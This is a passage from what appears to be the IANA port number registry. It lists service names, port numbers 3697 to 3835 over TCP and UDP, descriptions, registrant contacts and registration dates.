nw-license         3697        udp    NavisWorks Licnese System    [Tim_Wiegand]                                         [Tim_Wiegand]                                             2003-02
sagectlpanel       3698        tcp    SAGECTLPANEL                 [Mark_Gamble]                                         [Mark_Gamble]                                             2003-02
sagectlpanel       3698        udp    SAGECTLPANEL                 [Mark_Gamble]                                         [Mark_Gamble]                                             2003-02
kpn-icw            3699        tcp    Internet Call Waiting        [B_J_Kortekaas]                                       [B_J_Kortekaas]                                           2003-02
kpn-icw            3699        udp    Internet Call Waiting        [B_J_Kortekaas]                                       [B_J_Kortekaas]                                           2003-02
lrs-paging         3700        tcp    LRS NetPage                  [Geoffrey_Wossum]                                     [Geoffrey_Wossum]                                         2003-02
lrs-paging         3700        udp    LRS NetPage                  [Geoffrey_Wossum]                                     [Geoffrey_Wossum]                                         2003-02
netcelera          3701        tcp    NetCelera                    [Tarek_Nabhan]                                        [Tarek_Nabhan]                                            2003-02
netcelera          3701        udp    NetCelera                    [Tarek_Nabhan]                                        [Tarek_Nabhan]                                            2003-02
ws-discovery       3702        tcp    Web Service Discovery        [Christian_Huitema_2]                                 [Christian_Huitema_2]                                     2003-02
ws-discovery       3702        udp    Web Service Discovery        [Christian_Huitema_2]                                 [Christian_Huitema_2]                                     2003-02
adobeserver-3      3703        tcp    Adobe Server 3
adobeserver-3      3703        udp    Adobe Server 3
adobeserver-4      3704        tcp    Adobe Server 4               [Frank_Soetebeer]                                     [Frank_Soetebeer]                                         2003-01
adobeserver-4      3704        udp    Adobe Server 4               [Frank_Soetebeer]                                     [Frank_Soetebeer]                                         2003-01
adobeserver-5      3705        tcp    Adobe Server 5               [Bernd_Paradies]                                      [Bernd_Paradies]                                          2008-01-14
adobeserver-5      3705        udp    Adobe Server 5               [Bernd_Paradies]                                      [Bernd_Paradies]                                          2008-01-14
rt-event           3706        tcp    Real-Time Event Port
rt-event           3706        udp    Real-Time Event Port
rt-event-s         3707        tcp    Real-Time Event Secure Port  [Terry_Gin]                                           [Terry_Gin]                                               2003-02
rt-event-s         3707        udp    Real-Time Event Secure Port  [Terry_Gin]                                           [Terry_Gin]                                               2003-02
sun-as-iiops       3708        tcp    Sun App Svr - Naming         [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
sun-as-iiops       3708        udp    Sun App Svr - Naming         [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
ca-idms            3709        tcp    CA-IDMS Server               [Dave_Ross]                                           [Dave_Ross]
ca-idms            3709        udp    CA-IDMS Server               [Dave_Ross]                                           [Dave_Ross]
portgate-auth      3710        tcp    PortGate Authentication      [Scott_Harris]                                        [Scott_Harris]                                            2003-02
portgate-auth      3710        udp    PortGate Authentication      [Scott_Harris]                                        [Scott_Harris]                                            2003-02
edb-server2        3711        tcp    EBD Server 2                 [Carlos_Portela]                                      [Carlos_Portela]                                          2003-02
edb-server2        3711        udp    EBD Server 2                 [Carlos_Portela]                                      [Carlos_Portela]                                          2003-02
sentinel-ent       3712        tcp    Sentinel Enterprise          [Ian_Gordon_2]                                        [Ian_Gordon_2]                                            2003-03
sentinel-ent       3712        udp    Sentinel Enterprise          [Ian_Gordon_2]                                        [Ian_Gordon_2]                                            2003-03
tftps              3713        tcp    TFTP over TLS                [Mark_mayernick]                                      [Mark_mayernick]                                          2003-03
tftps              3713        udp    TFTP over TLS                [Mark_mayernick]                                      [Mark_mayernick]                                          2003-03
delos-dms          3714        tcp    DELOS Direct Messaging       [Ekkehard_Morgenstern]                                [Ekkehard_Morgenstern]                                    2003-03
delos-dms          3714        udp    DELOS Direct Messaging       [Ekkehard_Morgenstern]                                [Ekkehard_Morgenstern]                                    2003-03
anoto-rendezv      3715        tcp    Anoto Rendezvous Port        [Ola_Sandstrom]                                       [Ola_Sandstrom]                                           2003-03
anoto-rendezv      3715        udp    Anoto Rendezvous Port        [Ola_Sandstrom]                                       [Ola_Sandstrom]                                           2003-03
wv-csp-sms-cir     3716        tcp    WV CSP SMS CIR Channel
wv-csp-sms-cir     3716        udp    WV CSP SMS CIR Channel
wv-csp-udp-cir     3717        tcp    WV CSP UDP/IP CIR Channel    [Jon_Ingi_Ingimundars]                                [Jon_Ingi_Ingimundars]                                    2003-03
wv-csp-udp-cir     3717        udp    WV CSP UDP/IP CIR Channel    [Jon_Ingi_Ingimundars]                                [Jon_Ingi_Ingimundars]                                    2003-03
opus-services      3718        tcp    OPUS Server Port             [Detlef_Stoever]                                      [Detlef_Stoever]                                          2003-03
opus-services      3718        udp    OPUS Server Port             [Detlef_Stoever]                                      [Detlef_Stoever]                                          2003-03
itelserverport     3719        tcp    iTel Server Port             [Mark_Hendricks]                                      [Mark_Hendricks]                                          2003-03
itelserverport     3719        udp    iTel Server Port             [Mark_Hendricks]                                      [Mark_Hendricks]                                          2003-03
ufastro-instr      3720        tcp    UF Astro. Instr. Services    [David_B_Hon]                                         [David_B_Hon]                                             2003-03
ufastro-instr      3720        udp    UF Astro. Instr. Services    [David_B_Hon]                                         [David_B_Hon]                                             2003-03
xsync              3721        tcp    Xsync
xsync              3721        udp    Xsync
xserveraid         3722        tcp    Xserve RAID                  [Bob_Bradley]                                         [Bob_Bradley]                                             2003-03
xserveraid         3722        udp    Xserve RAID                  [Bob_Bradley]                                         [Bob_Bradley]                                             2003-03
sychrond           3723        tcp    Sychron Service Daemon       [Robert_Marinelli]                                    [Robert_Marinelli]                                        2003-03
sychrond           3723        udp    Sychron Service Daemon       [Robert_Marinelli]                                    [Robert_Marinelli]                                        2003-03
blizwow            3724        tcp    World of Warcraft            [Domain_Tech]                                         [Domain_Tech]                                             2005-04
blizwow            3724        udp    World of Warcraft            [Domain_Tech]                                         [Domain_Tech]                                             2005-04
na-er-tip          3725        tcp    Netia NA-ER Port             [Jean_Pierre_Garcia]                                  [Jean_Pierre_Garcia]                                      2003-04
na-er-tip          3725        udp    Netia NA-ER Port             [Jean_Pierre_Garcia]                                  [Jean_Pierre_Garcia]                                      2003-04
array-manager      3726        tcp    Xyratex Array Manager        [David_A_Lethe]                                       [David_A_Lethe]                                           2003-04
array-manager      3726        udp    Xyartex Array Manager        [David_A_Lethe]                                       [David_A_Lethe]                                           2003-04
e-mdu              3727        tcp    Ericsson Mobile Data Unit
e-mdu              3727        udp    Ericsson Mobile Data Unit
e-woa              3728        tcp    Ericsson Web on Air          [Marco_Casole]                                        [Marco_Casole]                                            2003-04
e-woa              3728        udp    Ericsson Web on Air          [Marco_Casole]                                        [Marco_Casole]                                            2003-04
fksp-audit         3729        tcp    Fireking Audit Port          [Richard_Thurman]                                     [Richard_Thurman]                                         2003-04
fksp-audit         3729        udp    Fireking Audit Port          [Richard_Thurman]                                     [Richard_Thurman]                                         2003-04
client-ctrl        3730        tcp    Client Control               [Lawrence_W_Dunn]                                     [Lawrence_W_Dunn]                                         2003-04
client-ctrl        3730        udp    Client Control               [Lawrence_W_Dunn]                                     [Lawrence_W_Dunn]                                         2003-04
smap               3731        tcp    Service Manager
smap               3731        udp    Service Manager
m-wnn              3732        tcp    Mobile Wnn                   [Yasunari_Yamashita]                                  [Yasunari_Yamashita]                                      2003-04
m-wnn              3732        udp    Mobile Wnn                   [Yasunari_Yamashita]                                  [Yasunari_Yamashita]                                      2003-04
multip-msg         3733        tcp    Multipuesto Msg Port         [Felisa_Ares]                                         [Felisa_Ares]                                             2003-04
multip-msg         3733        udp    Multipuesto Msg Port         [Felisa_Ares]                                         [Felisa_Ares]                                             2003-04
synel-data         3734        tcp    Synel Data Collection Port   [David_Ashkenazi]                                     [David_Ashkenazi]                                         2003-04
synel-data         3734        udp    Synel Data Collection Port   [David_Ashkenazi]                                     [David_Ashkenazi]                                         2003-04
pwdis              3735        tcp    Password Distribution        [Robert_Erl]                                          [Robert_Erl]                                              2003-04
pwdis              3735        udp    Password Distribution        [Robert_Erl]                                          [Robert_Erl]                                              2003-04
rs-rmi             3736        tcp    RealSpace RMI                [Barry_McDarby]                                       [Barry_McDarby]                                           2003-04
rs-rmi             3736        udp    RealSpace RMI                [Barry_McDarby]                                       [Barry_McDarby]                                           2003-04
xpanel             3737        tcp    XPanel Daemon                [Lilian_Rudenco]                                      [Lilian_Rudenco]                                          2009-03-04
                   3737        udp    Reserved
versatalk          3738        tcp    versaTalk Server Port        [Dr_Kingsley_C_Nwos]                                  [Dr_Kingsley_C_Nwos]                                      2003-04
versatalk          3738        udp    versaTalk Server Port        [Dr_Kingsley_C_Nwos]                                  [Dr_Kingsley_C_Nwos]                                      2003-04
launchbird-lm      3739        tcp    Launchbird LicenseManager    [Tom_Hawkins]                                         [Tom_Hawkins]                                             2003-04
launchbird-lm      3739        udp    Launchbird LicenseManager    [Tom_Hawkins]                                         [Tom_Hawkins]                                             2003-04
heartbeat          3740        tcp    Heartbeat Protocol           [Jeroen_Massar]                                       [Jeroen_Massar]                                           2003-04
heartbeat          3740        udp    Heartbeat Protocol           [Jeroen_Massar]                                       [Jeroen_Massar]                                           2003-04
wysdma             3741        tcp    WysDM Agent                  [Jim_McDonald]                                        [Jim_McDonald]                                            2003-04
wysdma             3741        udp    WysDM Agent                  [Jim_McDonald]                                        [Jim_McDonald]                                            2003-04
cst-port           3742        tcp    CST - Configuration &        [Hai_Ou_Yang]                                         [Hai_Ou_Yang]                                             2003-04
                                      Service Tracker
cst-port           3742        udp    CST - Configuration &        [Hai_Ou_Yang]                                         [Hai_Ou_Yang]                                             2003-04
                                      Service Tracker
ipcs-command       3743        tcp    IP Control Systems Ltd.      [Paul_Anderson]                                       [Paul_Anderson]                                           2003-04
ipcs-command       3743        udp    IP Control Systems Ltd.      [Paul_Anderson]                                       [Paul_Anderson]                                           2003-04
sasg               3744        tcp    SASG                         [Cristian_Petculescu_2]                               [Cristian_Petculescu_2]                                   2003-04
sasg               3744        udp    SASG                         [Cristian_Petculescu_2]                               [Cristian_Petculescu_2]                                   2003-04
gw-call-port       3745        tcp    GWRTC Call Port              [Felisa_Ares]                                         [Felisa_Ares]                                             2003-04
gw-call-port       3745        udp    GWRTC Call Port              [Felisa_Ares]                                         [Felisa_Ares]                                             2003-04
linktest           3746        tcp    LXPRO.COM LinkTest
linktest           3746        udp    LXPRO.COM LinkTest
linktest-s         3747        tcp    LXPRO.COM LinkTest SSL       [Greg_Bailey]                                         [Greg_Bailey]                                             2003-04
linktest-s         3747        udp    LXPRO.COM LinkTest SSL       [Greg_Bailey]                                         [Greg_Bailey]                                             2003-04
webdata            3748        tcp    webData                      [Michael_Whiteley]                                    [Michael_Whiteley]                                        2003-04
webdata            3748        udp    webData                      [Michael_Whiteley]                                    [Michael_Whiteley]                                        2003-04
cimtrak            3749        tcp    CimTrak                      [Robert_E_Johnson_II]                                 [Robert_E_Johnson_II]                                     2003-04
cimtrak            3749        udp    CimTrak                      [Robert_E_Johnson_II]                                 [Robert_E_Johnson_II]                                     2003-04
cbos-ip-port       3750        tcp    CBOS/IP ncapsalation port    [Thomas_Dannemiller]                                  [Thomas_Dannemiller]                                      2003-04
cbos-ip-port       3750        udp    CBOS/IP ncapsalatoin port    [Thomas_Dannemiller]                                  [Thomas_Dannemiller]                                      2003-04
gprs-cube          3751        tcp    CommLinx GPRS Cube           [Peter_Johnson]                                       [Peter_Johnson]                                           2003-04
gprs-cube          3751        udp    CommLinx GPRS Cube           [Peter_Johnson]                                       [Peter_Johnson]                                           2003-04
vipremoteagent     3752        tcp    Vigil-IP RemoteAgent         [Bryan_Alvord]                                        [Bryan_Alvord]                                            2003-04
vipremoteagent     3752        udp    Vigil-IP RemoteAgent         [Bryan_Alvord]                                        [Bryan_Alvord]                                            2003-04
nattyserver        3753        tcp    NattyServer Port             [Akira_Saito]                                         [Akira_Saito]                                             2003-04
nattyserver        3753        udp    NattyServer Port             [Akira_Saito]                                         [Akira_Saito]                                             2003-04
timestenbroker     3754        tcp    TimesTen Broker Port         [David_Aspinwall]                                     [David_Aspinwall]                                         2003-04
timestenbroker     3754        udp    TimesTen Broker Port         [David_Aspinwall]                                     [David_Aspinwall]                                         2003-04
sas-remote-hlp     3755        tcp    SAS Remote Help Server       [Gary_T_Ciampa]                                       [Gary_T_Ciampa]                                           2003-04
sas-remote-hlp     3755        udp    SAS Remote Help Server       [Gary_T_Ciampa]                                       [Gary_T_Ciampa]                                           2003-04
canon-capt         3756        tcp    Canon CAPT Port              [Takashi_Okazawa]                                     [Takashi_Okazawa]                                         2003-04
canon-capt         3756        udp    Canon CAPT Port              [Takashi_Okazawa]                                     [Takashi_Okazawa]                                         2003-04
grf-port           3757        tcp    GRF Server Port              [Robert_Banfill]                                      [Robert_Banfill]                                          2003-04
grf-port           3757        udp    GRF Server Port              [Robert_Banfill]                                      [Robert_Banfill]                                          2003-04
apw-registry       3758        tcp    apw RMI registry             [Dan_Davis]                                           [Dan_Davis]                                               2003-04
apw-registry       3758        udp    apw RMI registry             [Dan_Davis]                                           [Dan_Davis]                                               2003-04
exapt-lmgr         3759        tcp    Exapt License Manager        [Christoph_Kukulies]                                  [Christoph_Kukulies]                                      2003-04
exapt-lmgr         3759        udp    Exapt License Manager        [Christoph_Kukulies]                                  [Christoph_Kukulies]                                      2003-04
adtempusclient     3760        tcp    adTempus Client              [Bill_Wingate]                                        [Bill_Wingate]                                            2003-05
adtempusclient     3760        udp    adTEmpus Client              [Bill_Wingate]                                        [Bill_Wingate]                                            2003-05
gsakmp             3761        tcp    gsakmp port                                                                                                                                                            [RFC4535]
gsakmp             3761        udp    gsakmp port                                                                                                                                                            [RFC4535]
gbs-smp            3762        tcp    GBS SnapMail Protocol        [Eric_Harris_Braun]                                   [Eric_Harris_Braun]                                       2003-06
gbs-smp            3762        udp    GBS SnapMail Protocol        [Eric_Harris_Braun]                                   [Eric_Harris_Braun]                                       2003-06
xo-wave            3763        tcp    XO Wave Control Port         [Bjorn_Dittmer_Roche]                                 [Bjorn_Dittmer_Roche]                                     2003-06
xo-wave            3763        udp    XO Wave Control Port         [Bjorn_Dittmer_Roche]                                 [Bjorn_Dittmer_Roche]                                     2003-06
mni-prot-rout      3764        tcp    MNI Protected Routing        [Tim_Behne]                                           [Tim_Behne]                                               2003-06
mni-prot-rout      3764        udp    MNI Protected Routing        [Tim_Behne]                                           [Tim_Behne]                                               2003-06
rtraceroute        3765        tcp    Remote Traceroute            [A_Blake_Cooper]                                      [A_Blake_Cooper]                                          2003-06
rtraceroute        3765        udp    Remote Traceroute            [A_Blake_Cooper]                                      [A_Blake_Cooper]                                          2003-06
sitewatch-s        3766        tcp    SSL e-watch sitewatch server [e-Watch_Corporation]                                 [John_M_Baird_2]                                          2014-05-13                                                                                     this port was previously updated on 2009-06-19
                   3766        udp    Reserved                                                                                                                                                                                                                                    this port was previously updated on 2009-06-19
listmgr-port       3767        tcp    ListMGR Port                 [Takashi_Kubota]                                      [Takashi_Kubota]                                          2003-06
listmgr-port       3767        udp    ListMGR Port                 [Takashi_Kubota]                                      [Takashi_Kubota]                                          2003-06
rblcheckd          3768        tcp    rblcheckd server daemon      [Sabri_Berisha]                                       [Sabri_Berisha]                                           2003-06
rblcheckd          3768        udp    rblcheckd server daemon      [Sabri_Berisha]                                       [Sabri_Berisha]                                           2003-06
haipe-otnk         3769        tcp    HAIPE Network Keying         [Mike_Irani_2]                                        [Mike_Irani_2]                                            2003-06
haipe-otnk         3769        udp    HAIPE Network Keying         [Mike_Irani_2]                                        [Mike_Irani_2]                                            2003-06
cindycollab        3770        tcp    Cinderella Collaboration     [Ulrich_Kortenkamp]                                   [Ulrich_Kortenkamp]                                       2003-06
cindycollab        3770        udp    Cinderella Collaboration     [Ulrich_Kortenkamp]                                   [Ulrich_Kortenkamp]                                       2003-06
paging-port        3771        tcp    RTP Paging Port              [Patrick_Ferriter]                                    [Patrick_Ferriter]                                        2003-06
paging-port        3771        udp    RTP Paging Port              [Patrick_Ferriter]                                    [Patrick_Ferriter]                                        2003-06
ctp                3772        tcp    Chantry Tunnel Protocol      [Inderpreet_Singh]                                    [Inderpreet_Singh]                                        2003-06
ctp                3772        udp    Chantry Tunnel Protocol      [Inderpreet_Singh]                                    [Inderpreet_Singh]                                        2003-06
ctdhercules        3773        tcp    ctdhercules                  [Carl_Banzhof]                                        [Carl_Banzhof]                                            2003-06
ctdhercules        3773        udp    ctdhercules                  [Carl_Banzhof]                                        [Carl_Banzhof]                                            2003-06
zicom              3774        tcp    ZICOM                        [Sabu_Das]                                            [Sabu_Das]                                                2003-06
zicom              3774        udp    ZICOM                        [Sabu_Das]                                            [Sabu_Das]                                                2003-06
ispmmgr            3775        tcp    ISPM Manager Port            [Eric_Anderson]                                       [Eric_Anderson]                                           2003-06
ispmmgr            3775        udp    ISPM Manager Port            [Eric_Anderson]                                       [Eric_Anderson]                                           2003-06
dvcprov-port       3776        tcp    Device Provisioning Port     [Rob_Lehew]                                           [Rob_Lehew]                                               2003-06
dvcprov-port       3776        udp    Device Provisioning Port     [Rob_Lehew]                                           [Rob_Lehew]                                               2003-06
jibe-eb            3777        tcp    Jibe EdgeBurst               [Chap_Tippin]                                         [Chap_Tippin]                                             2003-06
jibe-eb            3777        udp    Jibe EdgeBurst               [Chap_Tippin]                                         [Chap_Tippin]                                             2003-06
c-h-it-port        3778        tcp    Cutler-Hammer IT Port        [Thomas_Ruchti]                                       [Thomas_Ruchti]                                           2003-06
c-h-it-port        3778        udp    Cutler-Hammer IT Port        [Thomas_Ruchti]                                       [Thomas_Ruchti]                                           2003-06
cognima            3779        tcp    Cognima Replication          [Ralph_Greenwell]                                     [Ralph_Greenwell]                                         2003-06
cognima            3779        udp    Cognima Replication          [Ralph_Greenwell]                                     [Ralph_Greenwell]                                         2003-06
nnp                3780        tcp    Nuzzler Network Protocol     [Andreas_Schwarz_2]                                   [Andreas_Schwarz_2]                                       2003-06
nnp                3780        udp    Nuzzler Network Protocol     [Andreas_Schwarz_2]                                   [Andreas_Schwarz_2]                                       2003-06
abcvoice-port      3781        tcp    ABCvoice server port         [Carlos_Gonzalez_Roma]                                [Carlos_Gonzalez_Roma]                                    2003-06
abcvoice-port      3781        udp    ABCvoice server port         [Carlos_Gonzalez_Roma]                                [Carlos_Gonzalez_Roma]                                    2003-06
iso-tp0s           3782        tcp    Secure ISO TP0 port          [Herbert_Falk]                                        [Herbert_Falk]                                            2003-06
iso-tp0s           3782        udp    Secure ISO TP0 port          [Herbert_Falk]                                        [Herbert_Falk]                                            2003-06
bim-pem            3783        tcp    Impact Mgr./PEM Gateway      [Walter_G_Giroir]                                     [Walter_G_Giroir]                                         2003-07
bim-pem            3783        udp    Impact Mgr./PEM Gateway      [Walter_G_Giroir]                                     [Walter_G_Giroir]                                         2003-07
bfd-control        3784        tcp    BFD Control Protocol                                                                                                                                                   [RFC5881]
bfd-control        3784        udp    BFD Control Protocol                                                                                                                                                   [RFC5881]
bfd-echo           3785        tcp    BFD Echo Protocol                                                                                                                                                      [RFC5881]
bfd-echo           3785        udp    BFD Echo Protocol                                                                                                                                                      [RFC5881]
upstriggervsw      3786        tcp    VSW Upstrigger port          [Mark_Tim_Junghanns]                                  [Mark_Tim_Junghanns]                                      2003-07
upstriggervsw      3786        udp    VSW Upstrigger port          [Mark_Tim_Junghanns]                                  [Mark_Tim_Junghanns]                                      2003-07
fintrx             3787        tcp    Fintrx                       [Peter_G_L_Potgiese]                                  [Peter_G_L_Potgiese]                                      2003-07
fintrx             3787        udp    Fintrx                       [Peter_G_L_Potgiese]                                  [Peter_G_L_Potgiese]                                      2003-07
isrp-port          3788        tcp    SPACEWAY Routing port        [Vaibhav_Kumar]                                       [Vaibhav_Kumar]                                           2003-07
isrp-port          3788        udp    SPACEWAY Routing port        [Vaibhav_Kumar]                                       [Vaibhav_Kumar]                                           2003-07
remotedeploy       3789        tcp    RemoteDeploy Administration  [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
                                      Port [July 2003]
remotedeploy       3789        udp    RemoteDeploy Administration  [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
                                      Port [July 2003]
quickbooksrds      3790        tcp    QuickBooks RDS               [Almira]                                              [Almira]                                                  2003-07
quickbooksrds      3790        udp    QuickBooks RDS               [Almira]                                              [Almira]                                                  2003-07
tvnetworkvideo     3791        tcp    TV NetworkVideo Data port    [Kevin_Brunner]                                       [Kevin_Brunner]                                           2003-07
tvnetworkvideo     3791        udp    TV NetworkVideo Data port    [Kevin_Brunner]                                       [Kevin_Brunner]                                           2003-07
sitewatch          3792        tcp    e-Watch Corporation          [John_M_Baird]                                        [John_M_Baird]                                            2003-07
                                      SiteWatch
sitewatch          3792        udp    e-Watch Corporation          [John_M_Baird]                                        [John_M_Baird]                                            2003-07
                                      SiteWatch
dcsoftware         3793        tcp    DataCore Software            [Andre_Cato]                                          [Andre_Cato]                                              2003-07
dcsoftware         3793        udp    DataCore Software            [Andre_Cato]                                          [Andre_Cato]                                              2003-07
jaus               3794        tcp    JAUS Robots                  [Steven_B_Cliff]                                      [Steven_B_Cliff]                                          2003-07
jaus               3794        udp    JAUS Robots                  [Steven_B_Cliff]                                      [Steven_B_Cliff]                                          2003-07
myblast            3795        tcp    myBLAST Mekentosj port       [Alexander_Griekspoor]                                [Alexander_Griekspoor]                                    2003-07
myblast            3795        udp    myBLAST Mekentosj port       [Alexander_Griekspoor]                                [Alexander_Griekspoor]                                    2003-07
spw-dialer         3796        tcp    Spaceway Dialer              [Patrick_Fisher]                                      [Patrick_Fisher]                                          2003-07
spw-dialer         3796        udp    Spaceway Dialer              [Patrick_Fisher]                                      [Patrick_Fisher]                                          2003-07
idps               3797        tcp    idps                         [Jean_Francois_Rabass]                                [Jean_Francois_Rabass]                                    2003-07
idps               3797        udp    idps                         [Jean_Francois_Rabass]                                [Jean_Francois_Rabass]                                    2003-07
minilock           3798        tcp    Minilock                     [Daniel_Julio_Reyes]                                  [Daniel_Julio_Reyes]                                      2003-08
minilock           3798        udp    Minilock                     [Daniel_Julio_Reyes]                                  [Daniel_Julio_Reyes]                                      2003-08
radius-dynauth     3799        tcp    RADIUS Dynamic Authorization                                                                                                                                           [RFC3576]
radius-dynauth     3799        udp    RADIUS Dynamic Authorization                                                                                                                                           [RFC3576]
pwgpsi             3800        tcp    Print Services Interface     [Harry_Lewis]                                         [Harry_Lewis]                                             2003-05
pwgpsi             3800        udp    Print Services Interface     [Harry_Lewis]                                         [Harry_Lewis]                                             2003-05
ibm-mgr            3801        tcp    ibm manager service          [Tim_Hahn]                                            [Tim_Hahn]                                                2006-03
ibm-mgr            3801        udp    ibm manager service          [Tim_Hahn]                                            [Tim_Hahn]                                                2006-03
vhd                3802        tcp    VHD                          [Chris_Duncombe]                                      [Chris_Duncombe]
vhd                3802        udp    VHD                          [Chris_Duncombe]                                      [Chris_Duncombe]
soniqsync          3803        tcp    SoniqSync                    [Ryan_Melville]                                       [Ryan_Melville]                                           2004-01
soniqsync          3803        udp    SoniqSync                    [Ryan_Melville]                                       [Ryan_Melville]                                           2004-01
iqnet-port         3804        tcp    Harman IQNet Port            [Bruce_Vander_Werf]                                   [Bruce_Vander_Werf]                                       2004-02
iqnet-port         3804        udp    Harman IQNet Port            [Bruce_Vander_Werf]                                   [Bruce_Vander_Werf]                                       2004-02
tcpdataserver      3805        tcp    ThorGuard Server Port        [Joel_E_Steiger]                                      [Joel_E_Steiger]                                          2004-02
tcpdataserver      3805        udp    ThorGuard Server Port        [Joel_E_Steiger]                                      [Joel_E_Steiger]                                          2004-02
wsmlb              3806        tcp    Remote System Manager        [Thomas_Fiege]                                        [Thomas_Fiege]                                            2004-02
wsmlb              3806        udp    Remote System Manager        [Thomas_Fiege]                                        [Thomas_Fiege]                                            2004-02
spugna             3807        tcp    SpuGNA Communication Port    [Samuele_Sequi]                                       [Samuele_Sequi]                                           2004-02
spugna             3807        udp    SpuGNA Communication Port    [Samuele_Sequi]                                       [Samuele_Sequi]                                           2004-02
sun-as-iiops-ca    3808        tcp    Sun App Svr-IIOPClntAuth     [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
sun-as-iiops-ca    3808        udp    Sun App Svr-IIOPClntAuth     [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
apocd              3809        tcp    Java Desktop System          [Geoff_Higgins]                                       [Geoff_Higgins]                                           2006-03
                                      Configuration Agent
apocd              3809        udp    Java Desktop System          [Geoff_Higgins]                                       [Geoff_Higgins]                                           2006-03
                                      Configuration Agent
wlanauth           3810        tcp    WLAN AS server               [Bianling_Zhang]                                      [Bianling_Zhang]                                          2004-02
wlanauth           3810        udp    WLAN AS server               [Bianling_Zhang]                                      [Bianling_Zhang]                                          2004-02
amp                3811        tcp    AMP                          [Northon_Rodrigues]                                   [Northon_Rodrigues]                                       2004-02
amp                3811        udp    AMP                          [Northon_Rodrigues]                                   [Northon_Rodrigues]                                       2004-02
neto-wol-server    3812        tcp    netO WOL Server              [Martin_Bestmann_2]                                   [Martin_Bestmann_2]                                       2004-03
neto-wol-server    3812        udp    netO WOL Server              [Martin_Bestmann_2]                                   [Martin_Bestmann_2]                                       2004-03
rap-ip             3813        tcp    Rhapsody Interface Protocol  [Paul_Zander]                                         [Paul_Zander]                                             2004-03
rap-ip             3813        udp    Rhapsody Interface Protocol  [Paul_Zander]                                         [Paul_Zander]                                             2004-03
neto-dcs           3814        tcp    netO DCS                     [Martin_Bestmann_2]                                   [Martin_Bestmann_2]                                       2004-03
neto-dcs           3814        udp    netO DCS                     [Martin_Bestmann_2]                                   [Martin_Bestmann_2]                                       2004-03
lansurveyorxml     3815        tcp    LANsurveyor XML              [Michael_Swan]                                        [Michael_Swan]                                            2004-04
lansurveyorxml     3815        udp    LANsurveyor XML              [Michael_Swan]                                        [Michael_Swan]                                            2004-04
sunlps-http        3816        tcp    Sun Local Patch Server       [Barry_Greenberg]                                     [Barry_Greenberg]                                         2004-04
sunlps-http        3816        udp    Sun Local Patch Server       [Barry_Greenberg]                                     [Barry_Greenberg]                                         2004-04
tapeware           3817        tcp    Yosemite Tech Tapeware       [Luke_Dion]                                           [Luke_Dion]                                               2004-04
tapeware           3817        udp    Yosemite Tech Tapeware       [Luke_Dion]                                           [Luke_Dion]                                               2004-04
crinis-hb          3818        tcp    Crinis Heartbeat             [Eric_McMurry]                                        [Eric_McMurry]                                            2004-04
crinis-hb          3818        udp    Crinis Heartbeat             [Eric_McMurry]                                        [Eric_McMurry]                                            2004-04
epl-slp            3819        tcp    EPL Sequ Layer Protocol      [Hans_Weibel]                                         [Hans_Weibel]                                             2004-10
epl-slp            3819        udp    EPL Sequ Layer Protocol      [Hans_Weibel]                                         [Hans_Weibel]                                             2004-10
scp                3820        tcp    Siemens AuD SCP              [Johann_Arnold]                                       [Johann_Arnold]                                           2004-10
scp                3820        udp    Siemens AuD SCP              [Johann_Arnold]                                       [Johann_Arnold]                                           2004-10
pmcp               3821        tcp    ATSC PMCP Standard           [Graham_Jones]                                        [Graham_Jones]                                            2004-11
pmcp               3821        udp    ATSC PMCP Standard           [Graham_Jones]                                        [Graham_Jones]                                            2004-11
acp-discovery      3822        tcp    Compute Pool Discovery
acp-discovery      3822        udp    Compute Pool Discovery
acp-conduit        3823        tcp    Compute Pool Conduit
acp-conduit        3823        udp    Compute Pool Conduit
acp-policy         3824        tcp    Compute Pool Policy          [Andy_Belk_2]                                         [Andy_Belk_2]                                             2005-02
acp-policy         3824        udp    Compute Pool Policy          [Andy_Belk_2]                                         [Andy_Belk_2]                                             2005-02
ffserver           3825        tcp    Antera FlowFusion Process    [Armin_Liebchen]                                      [Armin_Liebchen]                                          2007-06
                                      Simulation
ffserver           3825        udp    Antera FlowFusion Process    [Armin_Liebchen]                                      [Armin_Liebchen]                                          2007-06
                                      Simulation
warmux             3826        tcp    WarMUX game server           [Christophe_Gisquet]                                  [Christophe_Gisquet]                                                   2011-05-26
warmux             3826        udp    WarMUX game server           [Christophe_Gisquet]                                  [Christophe_Gisquet]                                                   2011-05-26
netmpi             3827        tcp    Netadmin Systems MPI service [G_Runfeldt]                                          [G_Runfeldt]                                              2007-07-10
netmpi             3827        udp    Netadmin Systems MPI service [G_Runfeldt]                                          [G_Runfeldt]                                              2007-07-10
neteh              3828        tcp    Netadmin Systems Event
                                      Handler
neteh              3828        udp    Netadmin Systems Event
                                      Handler
neteh-ext          3829        tcp    Netadmin Systems Event       [Jonas_Krogell]                                       [Jonas_Krogell]                                           2007-07-10
                                      Handler External
neteh-ext          3829        udp    Netadmin Systems Event       [Jonas_Krogell]                                       [Jonas_Krogell]                                           2007-07-10
                                      Handler External
cernsysmgmtagt     3830        tcp    Cerner System Management     [Mike_Craft]                                          [Mike_Craft]                                              2008-01-29
                                      Agent
cernsysmgmtagt     3830        udp    Cerner System Management     [Mike_Craft]                                          [Mike_Craft]                                              2008-01-29
                                      Agent
dvapps             3831        tcp    Docsvault Application        [Ketul_Patel]                                         [Ketul_Patel]                                             2006-10
                                      Service
dvapps             3831        udp    Docsvault Application        [Ketul_Patel]                                         [Ketul_Patel]                                             2006-10
                                      Service
xxnetserver        3832        tcp    xxNETserver                  [XXT_LLC]                                             [Matt_Ferrari]                                            2006-10      2012-07-12
xxnetserver        3832        udp    xxNETserver                  [XXT_LLC]                                             [Matt_Ferrari]                                            2006-10      2012-07-12
aipn-auth          3833        tcp    AIPN LS Authentication       [Qiang_Zhang]                                         [Qiang_Zhang]                                             2006-10
aipn-auth          3833        udp    AIPN LS Authentication       [Qiang_Zhang]                                         [Qiang_Zhang]                                             2006-10
spectardata        3834        tcp    Spectar Data Stream Service
spectardata        3834        udp    Spectar Data Stream Service
spectardb          3835        tcp    Spectar Database Rights      [Jan_Rutger_Voorhorst]                                [Jan_Rutger_Voorhorst]                                    2006-10
                                      Service
spectardb          3835        udp    Spectar Database Rights      [Jan_Rutger_Voorhorst]                                [Jan_Rutger_Voorhorst]                                    2006-10
